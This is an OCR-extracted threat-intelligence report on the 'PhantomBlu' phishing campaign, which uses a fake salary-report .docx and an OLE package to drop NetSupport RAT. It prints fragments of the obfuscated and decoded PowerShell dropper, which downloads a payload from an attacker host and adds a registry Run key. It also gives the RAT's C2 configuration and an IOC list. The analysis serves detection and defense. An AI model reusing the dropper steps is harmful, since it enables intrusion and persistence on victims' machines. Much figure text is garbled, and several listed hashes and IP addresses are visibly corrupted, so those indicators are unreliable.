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Perception Point security researchers have recently identified a newly surfaced campaign
targeting US-based organizations. Dubbed “PhantomBlu,” the emerging malware campaign
employs new TTPs and behaviors to evade detection and deploy the notorious NetSupport
RAT. This campaign signifies a sophistication in malware attack methodologies, exploiting
the legitimate features of remote administration tools for nefarious purposes.
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Teaching an Old RAT Some New Tricks

NetSupport RAT is a spin-off of the legitimate NetSupport Manager, a remote technical
support app, exemplifying how powerful IT tools can be misappropriated into malicious
software. Engineered for stealthy surveillance and control, it transforms remote
administration into a platform for cyber attacks and data theft. This Remote Access Trojan
facilitates a spectrum of malicious activities. Once installed on a victim’s endpoint,
NetSupport can monitor behavior, capture keystrokes (keylogger), transfer files,
commandeer system resources, and move to other devices within the network — all under
the guise of a benign remote support software.

The PhantomBlu operation introduces a nuanced exploitation method, diverging from
NetSupport RAT’s typical delivery mechanism by leveraging OLE (Object Linking and
Embedding) template manipulation, exploiting Microsoft Office document templates to
execute malicious code while evading detection.

This advanced technique bypasses traditional security systems by hiding the malicious
payload outside the document, only executing upon user interaction.

Decoding PhantomBlu: A Deep Dive into Advanced TTPs

In the campaign prevented by Perception Point, hundreds of employees in various US-based
organizations received email messages seemingly from an accounting service. Using social
engineering, threat actors lure recipients into downloading the attached Office Word file
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(.docx) to view their “monthly salary report.”

In the body of the email the attacker includes detailed instructions for accessing the

password-protected “report.”
Attachments:

) chart20072007.docx

From: JJ & CO Accounting <salary@jsalary-accounting.com:
Subject: Monthly Salary Report - CASE#39638367

To:

CC:

You dor’t often get email from salary@|salary-accounting.com. Learn why this is imporiant

Monthly Salary Report

Dear Team,

Please find attached the monthly salary report. If you have any questions or
concerns regarding the data, feel free to reach out to the accounting department.

Best regards,
Accounting Department

If the salary chart is in a password-protected document, please enter 1 to view
it.

If "Enable Editing” is unavailable, please enter 1 as the password to view the
content.

Figure 1: Targets are prompted to enter the password “1” and to click “Enable Editing”

By analyzing the Return Path and Message ID of the phishing emails, we observe the
utilization of the “SendInBlue” or Brevo service, a legitimate email delivery platform that
offers services for marketing campaigns. This choice underscores the attackers’ preference

for leveraging reputable services to mask their malicious intent.

Email Headers

Name Value

Return-Path <bounces-76497022-salary=jsalary-accounting.co n1bsha|‘ed—p900—i4d.send er-sib.com=

Figure 2: Return path data

<30f00a74-4176-Acf2-b I375—8a991asozbc?bsmtp—relay.sendinblue.co e

Message-ld

Figure 3: Message ID data
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Upon downloading and accessing the attached .docx file targets are asked to insert the
provided password.

Password ? >

Enter password to open Tfile
Lo calState\Files\SOvDhvAttachments\Chart20072007[9049]. doox

I OK I Cancel

Figure 4: Enter password to open file

The content of the document further instructs the targets to click “enable editing” and then to
click the image of the printer embedded on the document in order to view their “salary
graph.” The clickable printer is actually an OLE package, a feature in Microsoft Windows that
allows embedding and linking to documents and other objects. Its legitimate use enables
users to create compound documents with elements from different programs.

With this step PhantomBlu’s campaign leverages a TTP called OLE template
manipulation(Defense Evasion — T1221), exploiting document templates to execute
malicious code without detection. This advanced technique bypasses traditional security
measures by hiding the payload outside the document, only executing upon user interaction.

This is the first recorded time T1221 was observed in an attempt to deliver NetSupport
RAT via email.

- =Online Preview not available because the file is protected. If the salary chart is not
available, please enable editing. Then, double-click on the printer icon to view your salary graph.

ACCOUNTING

[ooubie-cick or double-tap to Actvate Contents OLE Package | ¢

Figure 5: “Online Preview not available because the file is protected. If the salary chart is not
available, please enable editing. Then, double-click the printer icon to view your salary graph”

Clicking the printer icon opens an archive .zip file containing one LNK file.
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Open Package Contents
available, §

Do you want to open this file?

MName:

Type:

Chart20072007.zip
Compressed (zipped) Folder
Open

Cancel

Always ask before opening this type of file
While files from the Internet can be useful, some files can potentially
harm your computer. If you do not trust the source. do not open this

L2
4 file. What's the risk?

> rtis not

¥ graph.

, ACCOUNTING

Figure 6: Opening the hidden content

Extract Chart20072007.zip

Share View Compressed Folder Tools

< {A4297F61-7843-4027-A723-E4ADBEABO...

=~ Name - Type
»# Quick access
B Deskiop

4 Downloads

=] Documents

Chart20072007 Shortcu

&= Pictures
androguard
Dumpers
ProcDot

tools
& OneDrive

Il This PC
B 3D Objects
Hl Desktop
)| Documents
4 Downloads
D Music
& Pictures

B Vvideos

1 item

Figure 7: A look into the zip containing LNK file
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In our forensic analysis of the LNK file, we dissected its payload and execution behavior. The
file was identified as a PowerShell dropper, crafted to retrieve and execute a script from a

specified URL.

Ps C:\Users\Malware\Desktop\tools\Dumpers> .\LECmd.ex

M

Tnk

ator privileges not found!

Figure 8: Examining the link’s code

This script, upon closer examination, was obfuscated to mask its true intentions, containing
elements such as another URL, a ZIP file, an executable for the NetSupport RAT, and a
registry key designed for keeping the RAT alive.

2 D i *r yourownmart.com/sol e ) -
A A = = A (] ARA L <] s
dksokkkdkxognazneifidmyyjdpji.txt
gha;
wFloub ~ENCoDINg byte;

ii -DeStINationpaTh $6voS8Ia —FORCE;

€32, exe

KCU : \SOFTWARE\Microsoft\Windows \CurrentVersion\Run® -NaME $kCZxxJD9 -VALUE SUPFFIZt2 -PROPErEYTYPe °String’;

Figure 9: Obfuscated PowerShell extracted from the URL

Delving deeper, we de-obfuscated the PowerShell script to elucidate its operations. It
meticulously orchestrates the creation of a secondary ZIP file from a fetched URL, unpacks
it, and navigates to the extracted directory to activate the NetSupport RAT. This process
culminates in the establishment of a new registry key within
‘HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, ensuring the malware’s
AutoStart and thereby its persistence.

1 : FROMbASe 64sTRiANG (§ -Urx
ji.txt' -UsebasiCPaRsi OnTENTt) -Spllt ' ' -as [BYIe[]1]) -ENCoDINg bytE
*TOZiYFvj.zip' —-DeStINationpaT TV: PRogrAmData+'\"+ 'PolicyDefinition®' —-fORCE:
NeW-—ItEmpROpPEXTY CU:\SOEFIWARE\Microso fr\Windows\CurrentVersion\Run' -NaME ‘PolicyDefinition' —VALUE "$eNV:PRogzAmData+'\'+

*PolicyDefinition®+'\client32.exe'” -PROPErt¥I¥Pe 'String':;

Figure 10: De-obfuscating the code
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Our investigative efforts extended to accessing the secondary URL, revealing a user-agent
gated payload delivery. Bypassing this, we obtained the payload through PowerShell,
mirroring the attackers’ approach.

Input + O =] B =

dDvHYcc8bluMr4b9AuO3HLGbpZ3UYZHLNCN/ TIBBOSGAB3VFsoU4RM3IELRIqQqMAKcOFVgaVsezPkMN7 1w
Em2ixgN/DoBYBIYBVISATAuULIhieG2XVYkpdyXk9I111Py9RRITEmilPiawzwuK+ <=
bAePEynV/WLianBSHtmFIwGuexqgpVv2qz IVpOhhB21VgqeszbonctWQqgRpePOjSehQI7HWAPSvND2egy
FTwoeVvVYmeoePYOENTp6T sMUSE+cs
FhSAgACOXUXZYCCCcFWAMNQrn2IBTaVGIGKKI7TzR27xzWykiWd@esYNntDEVOE7LJABL1RWpSZwax61lfsKD
iTFbAkhlmJIdjKwBesYCFYLsSTHBTEtC7s+cn
SD/mPtPnrrc@émvalCC4/TKogq@NrhJFbSPEQJHCEpwsVQNHYFWUlbG8+ <=

B+ ca

ypFo2bPezePYM3IBP/PO+ cx

euhfoMiWkvreh]j/or/oQSm3fv49RX8T+ <=

44z /ABWNYNESvwTzQnvoknCjnljo6UBFCdLeZZXg/ved4l/QiJzF9sCkAdmlo2ZmV4jtYmvY jM5m2pg022
gUc21SZZslgIUMwie+cr

HbBHN1jtWWVvbAftYlcCojBRwWQrrdDpdZFHMg6A1WhhaCsSLGFi/ MhK2nw2I1GmIM3CPlWeLWV3IhCsww
qMolubqZ6mUsARKNNO1KMSOC+ ca

CIX1eaPbhly2Wk5u8tcjdstZkWSAgoKAYVIWI Y X4 c=

epJAVNKtchysYbXFUS3IxXAC/ wnSXYS6oHRbIiSDE8NCASGhNuLKkXx/ H/K1+cw

rmc ISZ3544 = 57182 i 3389221—33839222 (1 selected) TT Raw Bytes €= LF

L i §
Output RO @ ::
wUL  SULSULSULNSULNSULSossuLcassuL 5T 1Y TDAUsonsuLsuLsuLsuLsuLsuLsusuesusucsuLsuLsuesucsusuc PKsorsTs 2 wue
wursusursusucSCoe<I Aus . nuLwuinuL « nuLnuiwu sr suLPruLsuLwuLsuLsuLsuLvuL  suLsuLsuL 6 cr a..__nsrn_vpr‘o.in;i.
UL SULSULSULSULSULSCHSULCassuLsuLES e B B E sornuinuinuinuiniinonuenenuonsosuenevi i ool PKsonste 2 nuiocamuinuinue es sucb

us eHue : | F‘]B'\-LL'\QLLX"--_‘;.._'-_'\aLLS\-L_\-L._\-L_'\-L_\-L._\-L_\L.h susucsuc o F cr -L,_pCiCéIpi .dll

suL  suLsusuLsuLsursossurcassusue | 2P us  Nsosnuwnus vus v v s s sve s sve e vuevuesvesue P Ksonst= 2 nucocanuinuinue es nu@
. R .

us *H " Orzs = " us secnec X TuuLnul v suL B UL SULSULSULSULSULNUL  NULNULNUL @ sonut PCICHEK .DLL

NUL  NULNULNULNULNULSOHNULCANNULNULETX Lson NsounuLsuLnvvLnvuesuessuLsuLsuLsuevuesueseneeseo s P K sonstx P uulocsnuinuisue s mu

+ | sorW2xX{ Ra0ocanut HE Snuw vt s Brvinuenuenvenvinuenoe  vuevenue@( so o PCICL32.DLL

NUL  NULSNULNULSULNULIOWMNULCANSUL @ "OTEUE:i-u.LL'\.LL-\.LL'\.LL'\.LL'\.LL'\.LL-\.LL'\.LL'\.LL'\.LL'\.LL-\.L.L'\.LL'\-LL'\-LLPK:OG:'\.?\..L::A\..L\..L\..L ES NuUL
aXDC Qal‘EET.‘;Z‘-L..‘-L..'éH.'LH.'L =1- ‘n.,LS‘-LL“LL‘-LL‘-LL‘-LL‘-LL‘-LL \..\.-\--bj‘ lvueremcmdstub.exe

wuL *.._*.._*.__*..-«--3:4«.-::\«-_«-_50r‘l@hisnu\__\__'\__\__\__'\__\__'\__\__\__'\__\__\__'\__\__\__szcn—s—':: 2 NULDCA NULNULSUL BS WuLDCs A
=OR? = E ? vr et HB suLsuL pcz suL BruLsuLsuLsuL suLNULNUL -.L_-.L_-.L_.H"-.L_SynthESiS—CDr‘E.XSd

wNuL NULNULNULNULNULSOHNULCTANNUL FS DETKé?ﬂéEOI—‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_‘-L_pKE:H STX ?'.L_DE-:'.L_'.L_'-L_ BS NUL

R‘ E£Tsvuso .n=ViTl‘-LL6€"!EL\L_\"'\_.S"-LL‘-LI.‘-I.I.‘-I.I.‘-I.I.‘-I.I.‘-I.I. \-I.-\-I.-‘hl._‘hl.-.‘"‘-I.I.TCCTL324DLL

MUL  NUL VUL SULNULYULSOH NULCANNULNUL RS E'iA@so-—'-u-'-u..'-t...'-\...'-t...'-L...'-\...'-t...'-\...'-\...'-\...'-\...'-\...'-t...'-\...'-L'\-l.L'\-l.L'\-l.L EI NUL SX NUL®
t».-il\.._\.._'FD%-..;_s.;_-‘_._

UEs Upper East Side BK ZIP, Office documents
Figure 11: Retrieving the hidden content — a second zip file

Further analysis of the extracted contents confirmed the deployment of a ZIP file, as

delineated in the script. The execution of the secondary PowerShell script, sans the deletion

routine, yielded the “Client32.exe” file — the NetSupport RAT. An examination of its
configuration files unveiled the command and control (C2) servers, underscoring
PhantomBlu’s communication backbone and operational directives.
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[HTTP]
e
jatewayAddress=parabmasale.com:443
ISK=EN:B?HDPHA; BE>DBEBDFD; J 2MANGF
jort=443
jecondaryGateway=tapouttv28.com:443
secondaryFort=443

Figure 12: the NetSupport RAT’s C2 servers

Beyond Evasion: The “Recursive Unpacker” Unravels PhantomBIlu’s
Stealth

By using encrypted .docs to deliver the NetSupport RAT via OLE template and Template
Injection (T1221), PhantomBlu marks a departure from the conventional TTPs commonly
associated with NetSupport RAT deployments. Historically, such campaigns have relied more
directly on executable files and simpler phishing techniques, which showcases PhantomBIlu’s
innovation in blending sophisticated evasion tactics with social engineering.

Perception Point’s proprietary anti-evasion model, the Recursive Unpacker, meticulously
deconstructed the multi-layered obfuscation and evasion techniques employed by the
PhantomBlu threat actors. From the email itself down to extracting the last LNK file hidden
behind the template manipulation.

% Monthly Salary Report - CASE#39638367
[32=x Chartz0072007.docx
E:x decrypted_Chart20072007.docx
[ chartzooreoo7zip
B Chart20072007.Ink
D c9667bcf-bb8a-463c-9404-TbEET198efab

@ https:/Aourcwnmart.com/solartad

Figure 13: PhantomBlu “Attack Tree” unpacked by Perception Point’s advanced detection engines

Check out the Perception Point blog_to learn more about developing_attack trends.
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TTPs

Remote Access Software (T1219) — https://attack.mitre.org/techniques/T1219/

Windows Management Instrumentation(T1047) — https://attack.mitre.org/techniques/T1047/

Hide Artifacts: Hidden Files and Directories(T1564/003) —
https://attack.mitre.org/techniques/T1564/003/

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder(T1547/001) —
https://attack.mitre.org/techniques/T1547/001/

Hide Artifacts: Hidden Window(T1564/003) — https://attack.mitre.org/techniques/T1564/003/

Modify Registry(T1112) — https://attack.mitre.org/techniques/T1112/

Obfuscated Files or Information: Software Packing(T1406/002) —
https://attack.mitre.org/techniques/T1406/002/

System Network Connections Discovery(T1049) —
https://attack.mitre.org/techniques/T1049/

Template Injection (T1221) — https://attack.mitre.org/techniques/T1221/ (The new TTP!)

I0Cs

Hashes (SHA-256)
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Email — 16e6dfd67d5049ffedb8c55bee6ad80fc0283757bc60d4f12c56675b1dadSbf61
Docx — 1abf56bc5fbf84805ed0fbf28e7f986¢c7bb2833972793252f3e358b13b638bb1

Injected ZIP —
95898c9abce738ca53e44290f4d4aa4e8486398de3163e3482f510633d50eebc

LNK file — d07323226¢c7be1a38ffd8716bc7d77bdb226b81fd6ccd493c55b2711014c0188
Final ZIP — 9449919626234 1b4f1cd10f3e1bac003d0c4db66c1eb0d1b7e66b7eb4f2b67b6

Client32.exe — 89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

URLs and Hostnames

yourownmart[.Jcom/solarf[.]txt
firstieragency[.Jcom/depbrndksokkkdkxognazneifidmyyjdpji[.]txt
yourownmart[.Jcom

firstieragency[.Jcom

parabmasale[.Jcom

tapouttv28[.Jcom

IP Addresses

192[.]236[.]192[.]48
173[.]1252[.]167[.150
199[.]1188[.]205[.]15
46[]105[.]141[.154

Others

Message ID contains: “sendinblue.com”

Return Path contains: “sender-sib.com”
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